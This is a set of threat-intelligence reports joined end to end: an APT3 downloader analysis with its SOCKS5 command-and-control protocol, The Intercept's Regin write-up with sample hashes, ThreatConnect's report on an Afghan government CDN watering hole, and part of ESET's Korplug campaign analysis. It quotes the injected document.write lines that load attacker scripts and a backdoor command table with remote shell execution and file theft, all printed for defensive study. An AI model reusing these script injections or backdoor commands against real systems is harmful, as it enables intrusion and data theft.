When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port
1913.
The malware sends the SOCKS5 connection request "05 01 00" and verifies the server response
starts with "05 00".
The malware then requests a connection to 192.184.60.229 on TCP port 81 using the
command "05 01 00 01 c0 b8 3c e5 00 51" and verifies that the first two bytes from the server are "05 00"
(c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order).
Once the connection to the server is established, the malware expects a message containing at least three
bytes from the server.
These first three bytes are the command identifier.
The following commands are
supported by the malware:
Command       Description
ID
00 00 00      Content after command ID is written to:
C:\Users\
[Username]\AppData\Local\Temp\notepad1.exe
00 00 01      Deletes the files:
C:\Users\
[Username]\AppData\Local\Temp\notepad.exe
C:\Users\
[Username]\AppData\Local\Temp\newnotepad.exe
00 00 02      Malware exits
00 00 03      Malware downloads the URL that follows the
command ID.
The file is saved to:
C:\Users\
[Username]\AppData\Local\Temp\notepad.exe
00 00 04      Content after command ID is written to:
C:\Users\
[Username]\AppData\Local\Temp\notepad2.exe
00 00 05      The files notepad1.exe and notepad2.exe are
concatenated together and written to C:\Users\
[Username]\AppData\Local\Temp\newnotepad.exe
and executed
00 00 06      The contents of the following file is sent to the
server:
C:\Users\
[Username]\AppData\Local\Temp\note.txt
00 00 07      The string following the command ID is executed
using "cmd /C" and results are sent to server
Links to APT3
On October 28, we observed APT3 sending out spearphishing messages containing a compressed
executable attachment.
The deflated exe was a variant of the same downloader described above and
connected to 198.55.115.71 over port 1913 via SOCKS5 proxy.
The secondary payload in that case was
detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5
8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains:
inform.bedircati[.
]com
pn.lamb-site[.
]com
210.109.99.64
The 192.184.60.229 IP address seen in this current campaign also hosts securitywap[.
]com – another
known domain referenced in our Operation Clandestine Fox blog.
DOMAIN                    FIRST SEEN     LAST SEEN        IP ADDRESS
securitywap.com           2014-11-17     2014-11-20       192.184.60.229
www.securitywap.com       2014-11-17     2014-11-20       192.184.60.229
In addition, the join.playboysplus[.
]com exploit and payload delivery site resolves to 104.151.248.173.
This IP has hosted other domains used by APT3 in past campaigns:
DOMAIN                     FIRST SEEN     LAST SEEN        IP ADDRESS
join.playboysplus[.
]com    2014-11-21     2014-11-21       104.151.248.173
walterclean[.
]com          2014-11-18     2014-11-20       104.151.248.173
www.walterclean[.
]com      2014-11-18     2014-11-20       104.151.248.173
As we discussed in our previous blog detailing previous APT3 activity, the walterclean[.
]com served as a
Plugx/Kaba command and control server.
Conclusion
Although APT3 is well known for employing zero-day exploits in their attacks, recent activity has
demonstrated that they will also attack targets with known exploits or social engineering.
Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on
zero-day exploits.
The combination of this sustained operational tempo and lack of zero-day
exploits may indicate that this group has changed strategy and has decided to attack more
frequently and does not have steady access to zero-day exploit code.
No matter the strategy,
this actor has shown an ability to operate successfully.
IOCs for this threat can be found here.
SECRET MALWARE IN EUROPEAN UNION ATTACK LINKED TO U.S. AND BRITISH INTELLIGENCE
Complex malware known as Regin is the suspected technology behind sophisticated cyberattacks conducted by U.S. and British intelligence agencies on the
European Union and a Belgian telecommunications company, according to security industry sources and technical analysis conducted by The Intercept.
Regin was found on infected internal computer systems and email servers at Belgacom, a partly state-owned Belgian phone and internet provider, following
reports last year that the company was targeted in a top-secret surveillance operation carried out by British spy agency Government Communications
Headquarters, industry sources told The Intercept.
The malware, which steals data from infected systems and disguises itself as legitimate Microsoft software, has also been identified on the same European Union
computer systems that were targeted for surveillance by the National Security Agency.
The hacking operations against Belgacom and the European Union were first revealed last year through documents leaked by NSA whistleblower Edward
Snowden.
The specific malware used in the attacks has never been disclosed, however.
The Regin malware, whose existence was first reported by the security firm Symantec on Sunday, is among the most sophisticated ever discovered by researchers.
Symantec compared Regin to Stuxnet, a state-sponsored malware program developed by the U.S. and Israel to sabotage computers at an Iranian nuclear facility.
Sources familiar with internal investigations at Belgacom and the European Union have confirmed to The Intercept that the Regin malware was found on their
systems after they were compromised, linking the spy tool to the secret GCHQ and NSA operations.
Ronald Prins, a security expert whose company Fox IT was hired to remove the malware from Belgacom’s networks, told The Intercept that it was “the most
sophisticated malware” he had ever studied.
“Having analyzed this malware and looked at the [previously published] Snowden documents,” Prins said, “I’m convinced Regin is used by British and American
intelligence services.”
A spokesman for Belgacom declined to comment specifically about the Regin revelations, but said that the company had shared “every element about the attack”
with a federal prosecutor in Belgium who is conducting a criminal investigation into the intrusion.
“It’s impossible for us to comment on this,” said Jan Margot, a
spokesman for Belgacom.
“It’s always been clear to us the malware was highly sophisticated, but ever since the clean-up this whole story belongs to the past for
us.”
In a hacking mission codenamed Operation Socialist, GCHQ gained access to Belgacom’s internal systems in 2010 by targeting engineers at the company.
The
agency secretly installed so-called malware “implants” on the employees’ computers by sending their internet connection to a fake LinkedIn page.
The malicious
LinkedIn page launched a malware attack, infecting the employees’ computers and giving the spies total control of their systems, allowing GCHQ to get deep
inside Belgacom’s networks to steal data.
The implants allowed GCHQ to conduct surveillance of internal Belgacom company communications and gave British spies the ability to gather data from the
company’s network and customers, which include the European Commission, the European Parliament, and the European Council.
The software implants used in
this case were part of the suite of malware now known as Regin.
One of the keys to Regin is its stealth: To avoid detection and frustrate analysis, malware used in such operations frequently adhere to a modular design.
This
involves the deployment of the malware in stages, making it more difficult to analyze and mitigating certain risks of being caught.
Based on an analysis of the malware samples, Regin appears to have been developed over the course of more than a decade; The Intercept has identified traces of
its components dating back as far as 2003.
Regin was mentioned at a recent Hack.lu conference in Luxembourg, and Symantec’s report on Sunday said the
firm had identified Regin on infected systems operated by private companies, government entities, and research institutes in countries such as Russia, Saudi
Arabia, Mexico, Ireland, Belgium, and Iran.
The use of hacking techniques and malware in state-sponsored espionage has been publicly documented over the last few years: China has been linked to extensive
cyber espionage, and recently the Russian government was also alleged to have been behind a cyber attack on the White House.
Regin further demonstrates that
Western intelligence agencies are also involved in covert cyberespionage.
GCHQ declined to comment for this story.
The agency issued its standard response to inquiries, saying that “it is longstanding policy that we do not comment on
intelligence matters” and “all of GCHQ’s work is carried out in accordance with a strict legal and policy framework, which ensures that our activities are
authorised, necessary and proportionate.”
The NSA said in a statement, “We are not going to comment on The Intercept’s speculation.”
The Intercept has obtained samples of the malware from sources in the security community and is making it available for public download in an effort to
encourage further research and analysis.
(To download the malware, click here.
The file is encrypted; to access it on your machine use the password “infected.”)
What follows is a brief technical analysis of Regin conducted by The Intercept’s computer security staff.
Regin is an extremely complex, multi-faceted piece of
work and this is by no means a definitive analysis.
In the coming weeks, The Intercept will publish more details about Regin and the infiltration of Belgacom as part of an investigation in partnership with Belgian
and Dutch newspapers De Standaard and NRC Handelsblad.
Origin of Regin
In Nordic mythology, the name Regin is associated with a violent dwarf who is corrupted by greed.
It is unclear how the Regin malware first got its name, but the
name appeared for the first time on the VirusTotal website on March 9th 2011.
Der Spiegel reported that, according to Snowden documents, the computer networks of the European Union were infiltrated by the NSA in the months before the
first discovery of Regin.
Industry sources familiar with the European Parliament intrusion told The Intercept that such attacks were conducted through the use of Regin and provided
samples of its code.
This discovery, the sources said, may have been what brought Regin to the wider attention of security vendors.
Also on March 9th 2011, Microsoft added related entries to its Malware Encyclopedia:
Alert level: Severe
First detected by definition: 1.99.894.0
Latest detected by definition: 1.173.2181.0 and higher
First detected on: Mar 09, 2011
This entry was first published on: Mar 09, 2011
This entry was updated on: Not available
Two more variants of Regin have been added to the Encyclopedia, Regin.B and Regin.C.
Microsoft appears to detect the 64-bit variants of Regin as Prax.A and
Prax.B.
None of the Regin/Prax entries are provided with any sort of summary or technical information.
The following Regin components have been identified:
Loaders
The first stage are drivers which act as loaders for a second stage.
They have an encrypted block which points to the location of the 2nd stage payload.
On NTFS,
that is an Extended Attribute Stream; on FAT, they use the registry to store the body.
When started, this stage simply loads and executes Stage 2.
The Regin loaders that are disguised as Microsoft drivers with names such as:
serial.sys
cdaudio.sys
atdisk.sys
parclass.sys
usbclass.sys
Mimicking Microsoft drivers allows the loaders to better disguise their presence on the system and appear less suspicious to host intrusion detection systems.
Second stage loader
When launched, it cleans traces of the initial loader, loads the next part of the toolkit and monitors its execution.
On failure, Stage 2 is able to disinfect the
compromised device.
The malware zeroes out its PE (Portable Executable, the Windows executable format) headers in memory, replacing “MZ” with its own magic
marker 0xfedcbafe.
Orchestrator
This component consists of a service orchestrator working in Windows’ kernel.
It initializes the core components of the architecture and loads the next parts of the
malware.
Information Harvesters
This stage is composed of a service orchestrator located in user land, provided with many modules which are loaded dynamically as needed.
These modules can
include data collectors, a self-defense engine which detects if attempts to detect the toolkit occur, functionality for encrypted communications, network capture
programs, and remote controllers of different kinds.
Stealth Implant
The Intercept’s investigation revealed a sample uploaded on VirusTotal on March 14th 2012 that presents the unique 0xfedcbafe header, which is a sign that it
might have been loaded by a Regin driver and it appears to provide stealth functionality for the tool kit.
This picture shows the very first bytes of the sample in question, showing the unique 0xfedcbafe header at the beginning.
In order to access information stored in the computer’s memory, programs use objects that reference specific locations in memory called pointers.
This binary file
contains some of such pointers initialized, which corroborates the hypothesis that the file was dumped from memory during a forensic analysis of a compromised
system.
The sample has the following SHA256 hash:
fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129
This sample gives a sense of the sophistication of the actors and the length of the precautions they have been taking in order to operate as stealthily as possible.
When a Windows kernel driver needs to allocate memory to store some type of data, it creates so called kernel pools.
Such memory allocations have specific
headers and tags that are used to identify the type of objects contained within the block.
For example such tags could be Proc, Thrd or File, which respectively
indicate that the given block would contain a process, thread or file object structure.
When performing forensic analysis of a computer’s memory, it is common to use a technique called pool scanning to parse the kernel memory, enumerate such
kernel pools, identify the type of content and extract it.
Just like Regin loader drivers, this driver repeatedly uses the generic “Ddk “ tag with ExAllocatePoolWithTag() when allocating all kernel pools:
This picture shows the use of the “ddk “ tag when allocating memory with the Windows ExAllocatePoolWIthTag() function.
The generic tag which is used throughout the operating system when a proper tag is not specified.
This makes it more difficult for forensic analysts to find any
useful information when doing pool scanning, since all its memory allocations will mix with many generic others.
In addition, when freeing memory using ExFreePool(), the driver zeroes the content, probably to avoid leaving traces in pool memory.
The driver also contains routines to check for specific builds of the Windows kernel in use, including very old versions such as for Windows NT4 Terminal Server
and Windows 2000, and then adapts its behavior accordingly.
Windows kernel drivers operate on different levels of priority, from the lowest PASSIVE_LEVEL to the highest HIGH_LEVEL.
This level is used by the processor
to know what service give execution priority to and to make sure that the system doesn’t try to allocate used resources which could result in a crash.
This Regin driver recurrently checks that the current IRQL (Interrupt Request Level) is set to PASSIVE_LEVEL using the KeGetCurrentIrql() function in many
parts of the code, probably in order to operate as silently as possible and to prevent possible IRQL confusion.
This technique is another example of the level of
precaution the developers took while designing this malware framework.
Upon execution of the unload routine (located at 0xFDEFA04A), the driver performs a long sequence of steps to remove remaining traces and artifacts.
Belgacom Sample
In an interview given to the Belgian magazine MondiaalNiews, Fabrice Clément, head of security of Belgacom, said that the company first identified the attack on
June 21, 2013.
In the same interview Clément says that the computers targeted by the attackers included staff workstations as well as email servers.
These statements confirm the timing and techniques used in the attack.
From previously identified Regin samples, The Intercept developed unique signatures which could identify this toolkit.
A zip archive with a sample identified as
Regin/Prax was found in VirusTotal, a free, online website which allows people to submit files to be scanned by several anti-virus products.
The zip archive was
submitted on 2013-06-21 07:58:37 UTC from Belgium, the date identified by Clément.
Sources familiar with the Belgacom intrusion told The Intercept that this
sample was uploaded by a systems administrator at the company, who discovered the malware and uploaded it in an attempt to research what type of malware it
was.
The archive contains:
Along with other files The Intercept found the output of a forensic tool, GetThis, which is being run on target systems looking for malware.
From the content of the
GetThis.log file, we can see that a sample called “svcsstat.exe” and located in C:\Windows\System32\ was collected and a copy of it was stored.
The malware in question is “0001000000000C1C_svcsstat.exe_sample ”.
This is a 64bit variant of the first stage Regin loader aforementioned.
The archive also contains the output of ProcMon, “Process Monitor”, a system monitoring tool distributed by Microsoft and commonly used in forensics and
intrusion analysis.
This file identifies the infected system and provides a variety of interesting information about the network.
For instance:
USERDNSDOMAIN=BGC.NET
USERDOMAIN=BELGACOM
USERNAME=id051897a
USERPROFILE=C:\Users\id051897a
The following environment variable shows that the system was provided with a Microsoft SQL server and a Microsoft Exchange server, indicating that it might one
of the compromised corporate mail server Fabrice Clément mentioned to Mondiaal News:
Path=C:\Program
Files\Legato\nsr\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program
Files\Microsoft Network Monitor 3\;C:\Program Files\System Center Operations Manager 2007\;c:\Program Files (x86)\Microsoft SQL
Server\90\Tools\binn\;D:\Program Files\Microsoft\Exchange Server\bin
Below is a list of hashes for the files The Intercept is making available for download.
Given that that it has been over a year since the Belgacom operation was
publicly outed, The Intercept considers it likely that the GCHQ/NSA has replaced their toolkit and no current operations will be affected by the publication of
these samples.
Regin Samples
32-bit Loaders
20831e820af5f41353b5afab659f2ad42ec6df5d9692448872f3ed8bbb40ab92
7553d4a5914af58b23a9e0ce6a262cd230ed8bb2c30da3d42d26b295f9144ab7
f89549fc84a8d0f8617841c6aa4bb1678ea2b6081c1f7f74ab1aebd4db4176e4
fd92fd7d0f925ccc0b4cbb6b402e8b99b64fa6a4636d985d78e5507bd4cfecef
225e9596de85ca7b1025d6e444f6a01aa6507feef213f4d2e20da9e7d5d8e430
9cd5127ef31da0e8a4e36292f2af5a9ec1de3b294da367d7c05786fe2d5de44f
b12c7d57507286bbbe36d7acf9b34c22c96606ffd904e3c23008399a4a50c047
f1d903251db466d35533c28e3c032b7212aa43c8d64ddf8c5521b43031e69e1e
4e39bc95e35323ab586d740725a1c8cbcde01fe453f7c4cac7cced9a26e42cc9
a0d82c3730bc41e267711480c8009883d1412b68977ab175421eabc34e4ef355
a7493fac96345a989b1a03772444075754a2ef11daa22a7600466adc1f69a669
5001793790939009355ba841610412e0f8d60ef5461f2ea272ccf4fd4c83b823
a6603f27c42648a857b8a1cbf301ed4f0877be75627f6bbe99c0bfd9dc4adb35
8d7be9ed64811ea7986d788a75cbc4ca166702c6ff68c33873270d7c6597f5db
40c46bcab9acc0d6d235491c01a66d4c6f35d884c19c6f410901af6d1e33513b
df77132b5c192bd8d2d26b1ebb19853cf03b01d38afd5d382ce77e0d7219c18c
7d38eb24cf5644e090e45d5efa923aff0e69a600fb0ab627e8929bb485243926
a7e3ad8ea7edf1ca10b0e5b0d976675c3016e5933219f97e94900dea0d470abe
a0e3c52a2c99c39b70155a9115a6c74ea79f8a68111190faa45a8fd1e50f8880
d42300fea6eddcb2f65ffec9e179e46d87d91affad55510279ecbb0250d7fdff
5c81cf8262f9a8b0e100d2a220f7119e54edfc10c4fb906ab7848a015cd12d90
b755ed82c908d92043d4ec3723611c6c5a7c162e78ac8065eb77993447368fce
c0cf8e008fbfa0cb2c61d968057b4a077d62f64d7320769982d28107db370513
cca1850725f278587845cd19cbdf3dceb6f65790d11df950f17c5ff6beb18601
ecd7de3387b64b7dab9a7fb52e8aa65cb7ec9193f8eac6a7d79407a6a932ef69
e1ba03a10a40aab909b2ba58dcdfd378b4d264f1f4a554b669797bbb8c8ac902
392f32241cd3448c7a435935f2ff0d2cdc609dda81dd4946b1c977d25134e96e
9ddbe7e77cb5616025b92814d68adfc9c3e076dddbe29de6eb73701a172c3379
8389b0d3fb28a5f525742ca2bf80a81cf264c806f99ef684052439d6856bc7e7
32-bit Rootkit
fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129
32-bit Orchestrator
e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935
4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be
64-bit Loader (Belgacom)
4d6cebe37861ace885aa00046e2769b500084cc79750d2bf8c1e290a1c42aaff
Photo credit: Winfried Rothermel/AP
Operation Poisoned Helmand
In this day and age of interconnected cloud services and distributed content delivery networks (CDNs), it
is important for both CDN service providers and security professionals alike to recognize and understand
the risks that these systems can introduce within an modern enterprise.
For organizations within both
public and private sectors that leverage CDN platforms to dynamically deliver web content, it is important
that the content is also routinely monitored.
Otherwise, malicious third-party content can be loaded into a
target organization’s website without their knowledge, delivering untold risks to unwitting visitors.
Afghan Government “Watering Hole”
The ThreatConnect Intelligence Research Team (TCIRT) recently observed a targeted cross-site scripting
(XSS) “drive-by” attack that leveraged a single content delivery network resource to distribute a malicious
Java applet via nearly all of the major official Government of Afghanistan websites.
The compromised
CDN resource in question is a JavaScript file hosted at [http:]//cdn.afghanistan[.
]af/scripts/gop-script.js
The domain cdn.afghanistan[.
]af is a legitimate CDN site used by the Afghan Ministry of Communications
and IT (MCIT) to host web content that is displayed and used on many official gov.af websites.
The javascript URL ([http:]//cdn.afghanistan[.
]af/scripts/gop-script.js) is called from numerous official
Afghan Government websites, including the following:
[http:]//canberra.afghanistan[.
]af/en (Afghan Embassy in Canberra, Australia)
[http:]//herat.gov[.
]af/fa (Herat Province Regional Government)
[http:]//mfa.gov[.
]af/en (Ministry of Foreign Affairs)
[http:]//moci.gov[.
]af/en (Ministry of Commerce and Industries)
[http:]//moe.gov[.
]af/en (Ministry of Education)
[http:]//mof.gov[.
]af/en (Ministry of Finance)
[http:]//moj.gov[.
]af/fa (Ministry of Justice)
[http:]//mowa.gov[.
]af/fa (Ministry of Women’s Affairs)
[http:]//oaacoms.gov[.
]af/fa (Office of Administrative Affairs and Council of Ministers)
It is likely that this javascript URL itself is normally legitimate, but the attackers obtained access to the file
and prepended the following malicious JavaScript functions to the beginning of the script:
document.write("<script src=http://update.javaplug-in.com/o/j.js><\/script>");
document.write("<script src=http:\/\/neoting.com/pay/danal/PhoneBill/07/1.js>
<\/script>");
Note that the gov.af websites would not need to be compromised individually for this attack to be
delivered to visitors of the sites, because it is the backend CDN infrastructure that is serving up the
malicious script.
Li Keqiang: A Harbinger of Targeted Exploitation?
Judging by the last modified timestamp on the HTTP response of gop-script.js, which is Tue, 16 Dec 2014
08:07:06 GMT, this malicious CDN compromise was very recent in nature.
In fact, it occurred on the very
same day that China’s Prime Minister Li Keqiang would meet with Abdullah Abdullah, the Chief Executive
Officer of Afghanistan in Astana Kazakhstan, they would discuss infrastructure development and bilateral
cooperation issues.
Looking at the EXIF metadata of the image of Keqiang meeting with Abdullah that is hosted on the
Chinese embassy website we note a Tue, 16 December 2014 07:43:31 modify time as well as the
www.news[.
]cn watermark in the bottom righthand corner.
This indicates that the image of Keqiang and
Abdullah was likely taken and edited sometime prior to 07:43:31.
While it is ambiguous as to which
timezone the edits actually took place in (Kazakhstan or China) we assume the date
timestamp references GMT because the press release states “In the afternoon of December 15 local time…”
If we assume the photograph and afternoon meeting took place sometime prior to 13:43 Alma-Ata
standard time (+0600) this would closely correspond with a 07:43 GMT time stamp.
The modification of
the gop-script.js by the attackers at 08:07:06 GMT likely tracks extremely close to a window of a few hours
in which Keqiang met with Abdullah.
It is worth mentioning that a similar scenario occurred on June 20th when security researcher
PhysicalDrive0 observed a malicious Java file hosted on the Embassy of Greece in Beijing.
At the time, a
Chinese delegation led by Keqiang was visiting Greek Prime Minister Antonis Samaras in Athens.
Security
researcher R136a1 aka “thegoldenmessenger” released a followup blog with detailed analysis of the Greek
embassy compromise.
While these two separate events are not directly related, additional research into the status of ministerial
and official government websites on or around the dates of notable Chinese delegations and or bilateral
meetings may yield additional patterns of interest.
Java Malware Overlap
Upon closer inspection of the prepended malicious JavaScript code, one will notice the similarity in the
update.javaplug-in[.
]com naming convention and URL structure to the C2 domain java-se[.
]com found in
the Palo Alto Networks blog post Attacks on East Asia using Google Code for Command and Control and
associated with Operation Poisoned Hurricane.
However, the malicious document.write driveby URLs
listed above both result in 403 Forbidden errors as of December 18, 2014.
While the 403 Forbidden errors may seem like an analytic dead end, the TCIRT also identified a malicious
Java applet submission to VirusTotal that confirms the nature of this malicious activity.
This Java applet,
SHA1: 388E6F41462774268491D1F121F333618C6A2C9A, has no antivirus detections as of December
21st.
The applet contains its malicious class file at the path “jre7u61windows/x86/Update.class”.
This
class file downloads and decodes an XOR 0xC8 encoded Windows PE executable payload from
[http:]//mfa.gov[.
]af/content/images/icon35.png, hosted on the official Afghan Ministry of Foreign
Affairs site, which was also affected by the gop-script XSS.
Using historic context archived within ThreatConnect, the TCIRT concluded that this Java applet is from
the same source code as the applet SHA1: ADC162DD909283097E72FC50B7AB0E04AB8A2BCC, which
was previously observed by the TCIRT at the Operation Poisoned Hurricane related URL
[http:]//jre7.java-se[.
]com/java.jar on August 15, 2014.
This applet has the same class path, and
downloads an XOR 0xFF encoded payload executable from the URL [https:]//amco-
triton.co[.]jp/js/dl/in.jpg.
Additional indicators and context associated with this particular Java driveby
activity can be found in the ThreatConnect Common Community Incident 20140815A: java-se APT
Driveby (shared October 02, 2014)
The Windows PE Payload
The XOR 0xC8 encoded payload downloaded from [http:]//mfa.gov[.
]af/content/images/icon35.png
decodes into the Windows PE executable SHA1: 72D72DC1BBA4C5EBC3D6E02F7B446114A3C58EAB
This executable is a self-extracting (SFX) Microsoft Cabinet executable that is digitally signed with a valid
certificate from “OnAndOn Information System Co., Ltd.”, serial number “1F F7 D8 64 18 1C 55 5E 70 CF
DD 3A 59 34 C4 7D”.
This same certificate was also used to sign the Java applet that downloaded this
malware.
This executable drops the following files:
SHA1: 2068260601D60F07829EE0CEDF5A9C636CDB1765 (dllhost.exe)
Legitimate Microsoft Debugging Tools for Windows Executable, loads dbgeng.dll
SHA1: E2D93ABC4C5EDE41CAF1C0D751A329B884D732A2 (dbgeng.dll)
Malicious DLL that loads into the above dllhost.exe, using a similar DLL sideloading technique to that
most commonly associated with the PlugX backdoor.
SHA1: 5C8683E3523C7FA81A0166D7D127616B06334E8D (Readme.txt)
Malicious encrypted backdoor binary blob loaded by dbgeng.dll
This backdoor connects to the faux Oracle Java themed command and control (C2) domain
oracle0876634.javaplug-in[.]com.
Note that javaplug-in[.
]com is the same root domain found in the
compromised version of [http:]//cdn.afghanistan[.
]af/scripts/gop-script.js as [http:]//update.javaplug-
in[.
]com/o/j.js, confirming that this Java malware is in fact directly associated with the Afghan MCIT
CDN XSS compromise.
Full indicators of this activity and a YARA rule to detect the malware certificate can be found in the
ThreatConnect Common Community under Incident 20141217A: Afghan Government Java Driveby and
signature APT_OnAndOn_cert.yara.
Conclusion
As the US and NATO reduce their troop levels in Afghanistan, China is posturing to fill the gap of
influence that the west is leaving behind.
With plans to facilitate multilateral peace talks with the Taliban
and establish major transportation projects which aim to bolster the Afghan economy, Beijing has been
eyeing Afghanistan as part of its broader South Asian strategy.
By exploiting and co-opting Afghan network infrastructure that is used by multiple ministerial level
websites, Chinese intelligence services would be able to widely distribute malicious payloads to a variety of
global targets using Afghanistan’s government websites as a topical and trusted distribution platform,
exploiting a single hidden entry point.
This being a variant of a typical “watering-hole” attack, the
attackers will most likely infect victims outside the Afghan government who happened to be browsing any
one of the CDN client systems, specifically, partner states involved in the planned troop reduction.
It is important to consider that corporate enterprises are not immune to this tactic, and this is not just a
technique that is used by APT threat actors.
If an enterprise’s website leverages a CDN to speed up content
delivery, unintended consequences must be anticipated.
Fortunately, modern browsers now implement a
security concept called “Content Security Policy”.
As long as the server’s response headers are configured
properly, third party content may be restricted to originating from a narrow whitelist.
Just as attackers distribute malicious content to users en masse or CDN services distribute web content to
users, security professionals must be able to quickly distribute actionable Threat Intelligence in formats
readable by both humans and machines.
ThreatConnect is the industry’s first comprehensive Threat
Intelligence Platform that enables enterprises to orchestrate the aggregation of Threat Intelligence from
multiple sources, use integrated analytics and a robust API that gives enterprises the control to action
their own Threat Intelligence, in the cloud and on premises.
Register for a free account now to view the
Common Community shares and more.
Korplug military targeted attacks: Afghanistan & Tajikistan
After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns
employing this well-known Remote Access Trojan.
This blog gives an overview of the first one, related to
Afghanistan & Tajikistan.
The other campaign, where the targets were a number of high-profile
organizations in Russia, will be the subject of Anton Cherepanov’s presentation at the ZeroNights
security conference in Moscow this week.
Sometimes malware used in various attacks is unique enough to identify related incidents, which makes
tracking individual botnets simpler.
An example is the BlackEnergy Lite variant (also known as
BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm)
against targets in Ukraine and other countries.
BlackEnergy Lite is clearly distinguishable from the
numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild.
In other cases, attackers use more common tools for accomplishing their criminal goals.
For example, the
Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a
large number of targeted attacks since 2012.
For the past several weeks we have taken a closer look at a
great number of detections of this malware in many unrelated incidents.
Among these, we were able to discover several successful infections where the employed Korplug samples
were connecting to the same C&C domain.
DOMAIN: www.notebookhk.net
Updated Date: 2013-11-12 18:03:45
Create Date: 2013-06-18 11:08:17
Registrant Name: lee stan
Registrant Organization: lee stan
Registrant Street: xianggangdiqu
Registrant City: xianggangdiqu
Registrant State: xianggang
Registrant Postal Code: 796373
Registrant Country: HK
Registrant Phone : +0.04375094543
Registrant Fax: +0.04375094543
Registrant Email:stanlee@gmail.com
Other Korplug samples were connecting to a different domain name resolving to the same IPs as
notebookhk.net:
DOMAIN: www.dicemention.com
Updated Date: 2013-11-12 18:05:33
Create Date: 2013-09-10 14:35:11
Registrant Name: z x
Registrant Organization: z x
Registrant Street: xianggangdiqu
Registrant City: xianggangdiqu
Registrant State: xianggang
Registrant Postal Code: 123456
Registrant Country: HK
Registrant Phone : +0.0126324313
Registrant Fax: +0.0126324313
Registrant Email: 123@123.com
DOMAIN: www.abudlrasul.com
Updated Date: 2014-10-16 14:16:27
Create Date: 2014-10-16 14:16:27
Registrant Name: gang xin
Registrant Organization: gang xin
Registrant Street: Argentina Argentina
Registrant City: Argentina
Registrant State: Argentina
Registrant Postal Code: 647902
Registrant Country: AR
Registrant Phone : +54.0899567089
Registrant Fax: +54.0899567089
Registrant Email: woffg89@yahoo.com
Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various
exploit-laden spear-phishing documents and cunningly-named archives.
A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is
shown below:
English
File name                                                        SHA1
translation
Situation Report about
36119221826D0290BC23371B55A8C0E6A84718DD
Afghan.doc
AGREEMENT BETWEENTHE
NATO AND AFGHANISTAN
ON THE STATUS OF NATO                                   A6642BC9F3425F0AB93D462002456BE231BB5646
FORCES IN
AFGHANISTAN.doc
news.doc                                                51CDC273B5638E06906BCB700335E288807744B5
План деятельности               Activity plan for
соединений и воинских           military units in the
EA6EE9EAB546FB9F93B75DCB650AF22A95486391
частей Приволжского             Volga region in July
региона на июль 2014 г.scr      2014
Telephone directory
телефонный справочник           of the Ministry of
D297DC7D29E42E8D37C951B0B11629051EEBE9C0
структуры МИД КР .scr           Foreign Affairs of
the Kyrgyz Republic
О Центре социальной             About the Center for
адаптации                       social adaptation of    8E5E19EBE719EBF7F8BE4290931FFA173E658CB8
военнослужащих.scr              servicemen
Meeting minutes of
Протокол встречи НГШ
the General Staff of    1F726E94B90034E7ABD148FE31EBA08774D1506F
КНР.scr
the PRC
исправленный шаблон плана       Corrected action
A9C627AA09B8CC50A83FF2728A3978492AEB79D8
мероприятий.scr                 plan template
Situation Report about
A9C627AA09B8CC50A83FF2728A3978492AEB79D8
Afghan.scr
Military and political
Военно-политическая             situation in Islamic
обстановка в ИРА                Republic of            E32081C56F39EA14DFD1E449C28219D264D80B2F
на04.10.2014.scr                Afghanistan (IRA)
on 04.10.2014
Afghan Air Force.scr                                  E32081C56F39EA14DFD1E449C28219D264D80B2F
план мероприятий.scr            Action plan           1F726E94B90034E7ABD148FE31EBA08774D1506F
Some of the above-mentioned files also contained decoy documents:
In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug
trojan being loading into memory.
exe – a legitimate executable with a Kaspersky digital signature that would load a DLL with a
specific file name
dll – a small DLL loader that would pass execution to the Korplug raw binary code
dll.avp – raw Korplug binary
The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables
and is a way to stay under the radar, since a trusted application with a valid signature among startup items
is less likely to raise suspicion.
The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability
in Microsoft Word.
The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII
encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp).
Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively
used in targeted attacks carried out by a number other malware families this year (including BlackEnergy,
Sednit, MiniDuke, and others).
However, this exploit is not implemented correctly due to a wrong file
offset in the 1st stage shellcode.
Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag “p!11”
marking the beginning of the 2nd stage shellcode and loads it into memory.
Even though the tag and 2nd
stage shellcode is present in the RTF, it’s at a different offset, and thus never is loaded.
Sophos’ Gabor Szappanos gives a possible explanation how these malformed samples may have come into
existence.
ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least
June 2014 and continue through today.
We were able to pinpoint the targets to residents of the following countries:
Afghanistan
Tajikistan
Russia
Kyrgyzstan
Kazakhstan
From the topics of the files used to spread the malware, as well as from the affected targets, it appears that
the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and
diplomatic subjects.
Interestingly, most of the affected victims have another thing in common – a number of other RATs, file
stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection.
One of
these ‘alternative RATs’ was connecting to a domain also used by the Korplug samples.
Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering
whether the attackers were just experimenting with different RATs or were they supplementing some
functionality that they were unable to accomplish.
Additional information about two malware families that were most often found accompanying Korplug
infections is given below.
Alternative Malware #1: DarkStRat
A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens
